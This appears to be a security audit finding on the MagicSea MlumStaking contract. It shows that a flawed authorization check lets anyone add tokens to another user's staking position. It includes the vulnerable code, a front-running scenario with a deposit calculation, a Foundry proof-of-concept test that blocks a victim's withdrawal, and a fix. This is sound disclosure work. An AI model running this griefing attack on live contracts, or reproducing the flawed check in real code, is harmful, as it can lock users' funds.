Sticky Hickory Hare

Medium

# MlumStaking::_requireOnlyOperatorOrOwnerOf incorrectly assumes msg.sender to be the position owner allowing unauthorized modifications to a position

## Summary
**_requireOnlyOperatorOrOwnerOf** Checks if an address has privileged rights on a **MlumStaking** position. It does so by calling **_isAuthorized(owner, spender, tokenId)** method but incorrectly passing **msg.sender** as both owner and spender which bypasses all the conditions inside **_isAuthorized**.
This incorrect check allows any address to add tokens into a position (addToPosition), increasing the position lock time (avgLockTime) and preventing position owner from withdrawing their tokens.

## Vulnerability Detail
https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MlumStaking.sol#L140-L143
_requireOnlyOperatorOrOwnerOf function uses _isAuthorized method of ERC721Upgradeable contract to authorize msg.sender:

```solidity
    function _requireOnlyOperatorOrOwnerOf(uint256 tokenId) internal view {
        // isApprovedOrOwner: caller has no rights on token
        require(ERC721Upgradeable._isAuthorized(msg.sender, msg.sender, tokenId), "FORBIDDEN");
    }
```

https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/token/ERC721/ERC721Upgradeable.sol#L215-L219

**_isAuthorized** function expects the first parameter to be owner of the position, whereas here, **msg.sender** is passed as both owner and spender into the **_isAuthorized** function allowing unauthorized access to any position:

```solidity
    function _isAuthorized(address owner, address spender, uint256 tokenId) internal view virtual returns (bool) {
        return
            spender != address(0) &&
            (owner == spender || isApprovedForAll(owner, spender) || _getApproved(tokenId) == spender);
    }

```
as you can see, if owner equals spender, **_isAuthorized** returns **true** which allows unauthorized access to **addToPosition** function and allows anyone to add tokens into an arbitrary position:
https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MlumStaking.sol#L398


## Impact
It is possible to prevent some users from withdrawing their Mlum tokens, since calling **addToPosition** increases lock time of the position:
https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MlumStaking.sol#L409-L414

Attacker only needs to front-run withdraw transaction of the victim and increase their lock time by a minimum of 1 seconds by adding Mlum tokens into victim’s position:

1. Attacker transaction => addToPosition(victim_id, attack_deposit_amount)
2. Victim transaction => withdrawFromPosition(victim_id, victim_position_amount)

This is how new lock time is calculated:
```solidity
        uint256 avgDuration = (remainingLockTime *
            position.amount +
            amountToAdd *
            position.initialLockDuration) / (position.amount + amountToAdd);
```
lets see how many tokens attacker needs to deposit in order to set avgDuration to 1. 
since `remainingLockTime * position.amount` is **0**:

- `amountToAdd * position.initialLockDuration >=  position.amount + amountToAdd`

by moving `amountToAdd` to the left side, and factoring `amountToAdd`:

- `amountToAdd * (position.initialLockDuration – 1) >= position.amount then amountToAdd >= position.amount / (position.initialLockDuration - 1)`

this shows us that the more `position.initialLockDuration`, the less tokens (percentage of position.amount) attacker needs to deposit to prevent victim from withdrawing their tokens.

This test demonstrates this vulnerability (add to MlumStaking.t.sol) :
```solidity
    function testPreventUnlock() public {
        address ANYONE = makeAddr("anyone");
        _stakingToken.mint(ALICE, 2 ether);
        _stakingToken.mint(ANYONE, 2 ether);

        //Alice creates a new position
        vm.startPrank(ALICE);
        _stakingToken.approve(address(_pool), 1 ether);
        _pool.createPosition(1 ether, 1 days);
        vm.stopPrank();

        MlumStaking.StakingPosition memory position = _pool.getStakingPosition(
            1
        );
        assertEq(position.lockDuration, 1 days);

        //Skip lock duration, which means tokens are unlockable
        skip(1 days);

        //1 rounding error, so add by one
        uint attacker_amount_to_deposit = (uint(1 ether) / (1 days - 100)) + 1;
        vm.startPrank(ANYONE);
        _stakingToken.approve(address(_pool), 1 ether);
        _pool.addToPosition(1, attacker_amount_to_deposit);
        vm.stopPrank();

        position = _pool.getStakingPosition(1);
        assertEq(position.lockDuration, 1);

        vm.startPrank(ALICE);
        vm.expectRevert("locked");
        _pool.withdrawFromPosition(1, 1 ether);
        vm.stopPrank();
    }
```

## Code Snippet

## Tool used

Manual Review

## Recommendation
Instead of passing **msg.sender** into `_isAuthorized`, retrieve and pass real owner:

```solidity
    function _requireOnlyOperatorOrOwnerOf(uint256 tokenId) internal view {
        // isApprovedOrOwner: caller has no rights on token
        require(ERC721Upgradeable._isAuthorized(_ownerOf(tokenId), msg.sender, tokenId), "FORBIDDEN");
    }
```

